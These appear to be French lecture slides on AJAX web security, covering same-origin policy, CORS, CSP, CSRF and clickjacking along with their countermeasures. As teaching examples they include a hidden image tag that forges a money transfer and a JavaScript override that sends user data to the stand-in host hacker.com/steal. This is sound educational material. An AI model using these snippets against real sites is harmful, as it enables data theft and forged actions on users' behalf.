Sécurité AJAX
AJAX est-il vulnérable à XSS ou d’autres types d’injections ?
En bref : ni plus ni moins que les pages Web 1.0, les <form>
,
les <iframe>
, les <img>
, etc.
En détail :
- Si l’on peut injecter du JavaScript, alors on peut injecter un XMLHttpRequest, et vice versa ;
- AJAX peut envoyer des requêtes GET : les
<img>
aussi !; - AJAX peut envoyer des requêtes POST : on peut créer un
<form>
dans un<iframe>
caché et le soumettre; - AJAX peut lire la réponse aux requêtes GET et POST : en
principe, les
<iframe>
aussi (plus de détails à suivre).
En pratique AJAX n’est pas plus dangereux que d’autres technologies, mais il élargit la surface d’attaque.
Same Origin Policy
Deux documents ne provenant pas du même domaine ne peuvent pas accéder les contenus respectifs :
- Pas d’accès au DOM, aux cookies, aux URLs, …
- Pas d’accès entre fenêtres et entre frames.
Cependant
- Les scripts inclus avec
<script>
ont plein accès (donc la SOP ne peut pas bloquer le JavaScript injecté) ; - Autres balises violant la SOP (et pour cause) :
<img>
,<link>
,<embed>
,<object>
,<iframe>
,<bgsound>
, … window.name
viole la SOP (pas très utilisé) ;window.postMessage
, introduit avec HTML5, promet une nouvelle vague de trous de sécurité !
SOP : Exemple
Restrictions sur AJAX
- Un script peut envoyer une
XMLHttpRequest
vers toute adresse ; - il ne peut lire que les réponses provenant du même domaine.
Problème : comment interroger des APIs de sites tiers (Google maps, Yahoo finance, etc.) ?
AJAX Cross-domain
Problème : comment interroger des API tierces ?
Solution classique : Proxies
Écrire un programme côté server qui transmet la requête au service web.
…Pas très satisfaisant
Cross-Origin Resource Sharing
CORS : introduit dans Firefox 3.5, presque un standard :
- Le
XMLHttpRequest
fait une requête GET cross-domain ; - Le browser ajoute une entête HTTP
Origin
;
GET /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
...
Origin: www.example.com
- Le server réponds avec
Acces-Control-Allow-Origin
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: *
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: www.example.com
- Le browser renvoie la réponse à
XMLHttpRequest
seulement si l’origine est autorisée.
Les requêtes POST ne sont pas nilpotentes !
(on ne peut pas défaire leurs effets)
XMLHttpRequest
fait une requête POST cross-domain ;- Le browser change le type de la requête en OPTIONS ;
OPTIONS /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
Origin: www.example.com
Access-Control-Request-Method: POST
- Le server réponds avec
Acces-Control-Allow-Origin
:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: www.example.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
- Si la requête est autorisée, le browser envoie la requête POST ;
POST /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
Origin: www.example.com
- La réponse est renvoyée à
XMLHttpRequest
.
CORS et sécurité
CORS est une protection opt-out : www.hacker.com
ne peut pas
se connecter à www.mybank.com
en se faisant passer pour un
utilisateur
- Cohérent avec la SOP des frames et des fenêtres ;
www.hacker.com
peut obliger www.mybank.com
à télécharger du
contenu de www.hacker.com
- Nécessite une faille XSS pour démarrer l’attaque ;
- On peut faire pareil avec
<script>
,<iframe>
,<img>
, … - Cela pourrait être utilisé pour contourner un filtrage des balises
<script>
.
Content Security Policy
Problème : Comment mieux circonscrire les dangers d’un XSS ?
CSP restreint les actions sur la base du domaine d’origine, au niveau de HTTP :
Ce que l’on peut restraindre
- JavaScript inlined,
eval
, CSS, transformations XSLT, Web Fonts ; - Sources pour les balises HTML :
<script>
,<object>
,<embed>
,<style>
,<img>
,<audio>
,<video>
,<iframe>
; - Sources pour les APIs DOM :
XMLHttpRequest
, WebSockets, Server events.
Exemple de CSP…
HTTP/1.1 200 OK
...
Content-Security-Policy: default-src 'self';
img-src *;
object-src media.example.com
*.cdn.example.com;
script-src https://js.example.com;
connect-src https:
Les balises <img>
sont toujours permises
<img src="http://farm1.staticflickr.com/1/xxxxxxxxxx.jpg" />
Les plugins sont autorisés uniquement sur certains sous-domaines
<object data="http://media.example.com/video.swf"></object>
…Exemple de CSP
<script>
permises uniquement sur https://js.example.com
<script src="https://js.example.com/jquery.min.js"></script>
AJAX est permis uniquement sur SSL
var xhr = new XMLHttpRequest()
xhr.open("GET", "https://api.finance.com/cac40?c=total")
Tout autre contenu est permis uniquement de la même page
Problème: CSP est une protection opt-in. Elle doit être configurée explicitement par le server.
CSRF : attaques légitimes !
Cross-Site Request Forgeries : une faille intrinsèque du Web
Les acteurs
Un server web possédant des données confidentielles.
Un utilisateur légitime authentifié ayant des droits sur les données.
Un attaquant malicieux qui :
- connaît l’API du server (par ex., l’API est publique),
- contrôle un site tiers sans rapport avec le server victime (par ex., son propre server, ou un site avec une injection XSS).
Les effets
L’attaquant gagne accès aux données confidentielles avec les droits de l’utilisateur légitime.
CSRF : Comment ?
Pré-requis…
- L’utilisateur est loggué sur le server (par ex., il garde un onglet ouvert sur une page du server) ;
- L’utilisateur tombe par hasard sur la page malicieuse de l’attaquant.
…et ensuite
- La page de l’attaquant déclenche une requête au server
<html>
...
<h1>Recipe: Panini Reblochon Nutella</h1>
<h2>Ingrédients:</h2>
<ul>
<li>Two slices of bread</li>
...
<img width="0" height="0"
src="http://server.com/transfer?to=attacker&amount=10k"/>
- Le browser de l’utilisateur, en voulant télécharger l’image, déclanche un transfert d’argent authentifié.
Démo CSRF : e-campus 2
- Connectez-vous à http://e-campus2.uvsq.fr/,
- Allez vers la page du cours.
- Maintenant, supposons que vous visitiez un site au hasard (par ex.,
ce site !!!), contenant cet
<iframe>
(caché par ):
- Si vous cliquez ici, le formulaire est soumis, et le CSRF est exécuté.
- Maintenant rafraîchissez la page du cours et observez le résultat.
Note : Si le <iframe>
avait été
, vous n’auriez rien
remarqué.
Note: Il aurait été possible de tout faire sans attendre de clic de l’utilisateur !
AJAX et CSRF : intercepter les données
- À cause de la requête
POST
, l’attaque précédente n’aurait pas pu être menée uniquement avecXMLHttpRequest
. - Mais AJAX offre des nouveaux points d’accès aux CSRF !
Imaginez une API authentifiée qui renvoie des requêtes JavaScript :
HTTP/1.1 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *
...
new UserData(
"firstName", "Pinco"
"lastName", Pallino",
"creditCard", "XXXX XXXX XXXX XXXX",
);
- Les données sont renvoyées dans un objet
UserData
àeval
uer. - La définition de
UserData
est dans les scripts du client. - Ceci est similaire au paradigme JSONP.
L’application legitime
- Le client charge le JavaScript fourni par le server
<script src="http://www.server.com/js/api.js"></script>
- Le script contient la defintion de
UserData
function Userdata() {
this.creditCard = ...
}
- Le client client fait une requête AJAX à l’API
xhr = new XMLHttpRequest();
xhr.open("GET", "http://api.server.com/getUserData?user=1000");
- Le client
eval
ue le JavaScript et traite les données
var data = eval(xhr.response());
var card_number = data[5];
L’attaquant
- Crée une page sur un autre server qu’il contrôle ;
- Inclue le JavaScript suivant (qui remplace la définition de
UserData
)
function UserData() {
var img = new Image();
img.src = "http://hacker.com/steal?"
+ Array.join(",", arguments);
}
- Il force le client à faire une requête à l’API
xhr = new XMLHttpRequest();
xhr.open("GET",
"http://api.server.com/getUserData?user=1000");
- Le browser envoye les données à
http://hacker.com/steal
(à cause de l’Image()
).
CSRF dans la vraie vie
GMail 2007 rédirection de mail : des filtres de mails arbitraires ont pu être configurés via CSRF
- http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
- http://www.davidairey.com/google-gmail-security-hijack/
GMail 2007 vol de contacts : les attaquants ont pu voler les carnets d’adresses
- Basé sur JSONP, similaire à l’exemple AJAX + CSRF.
- http://jeremiahgrossman.blogspot.fr/2007/01/gmail-xsrf-json-call-back-hackery.html
- http://jeremiahgrossman.blogspot.fr/2006/01/advanced-web-attack-techniques-using.html
Contremesures CSRF
Utilisateur
- Se djélogguer ;
- Utiliser plusieurs browsers.
Développeur
- Préférer POST à GET pour les requêtes qui déclenchent des actions ;
- Contrôler l’entête
Referer
; - Demander confirmation ;
- Faire expirer rapidement les sessions ;
- Utiliser des captchas ;
- Ajouter des informations reliées à la session dans les URLs ;
- Cacher des jetons aléatoires jetables (nonces) dans les formulaires.
Note : il n’existe pas encore de protection définitive !
Clickjacking et sécurité des Mash-up
Demander confirmation peut ne pas être suffisant !
Clickjacking : amener l’utilisateur à cliquer le bouton de confirmation sans son consentement
- Inclure le formulaire de confirmation dans un
<iframe>
; - Utiliser CSS pour superposer le
<iframe>
à du contenu apparemment inoffensif ; - Convaincre l’utilisateur à cliquer sur le contenu inoffensif ;
- Le clic va au
<iframe>
de confirmation.
(Seule?) utilisation vérifiée : Twitter 2009 “Don’t click this” http://dsandler.org/outgoing/dontclick_orig.html
Clickjacking: Exemple
Suivez ce lien
Contremesures
Entête Expérimentale
X-Frame-Options: SAMEORIGIN
- Empêche aux browsers d’inclure la page dans des frames cross-domain ;
- Twitter s’en sert depuis 2009…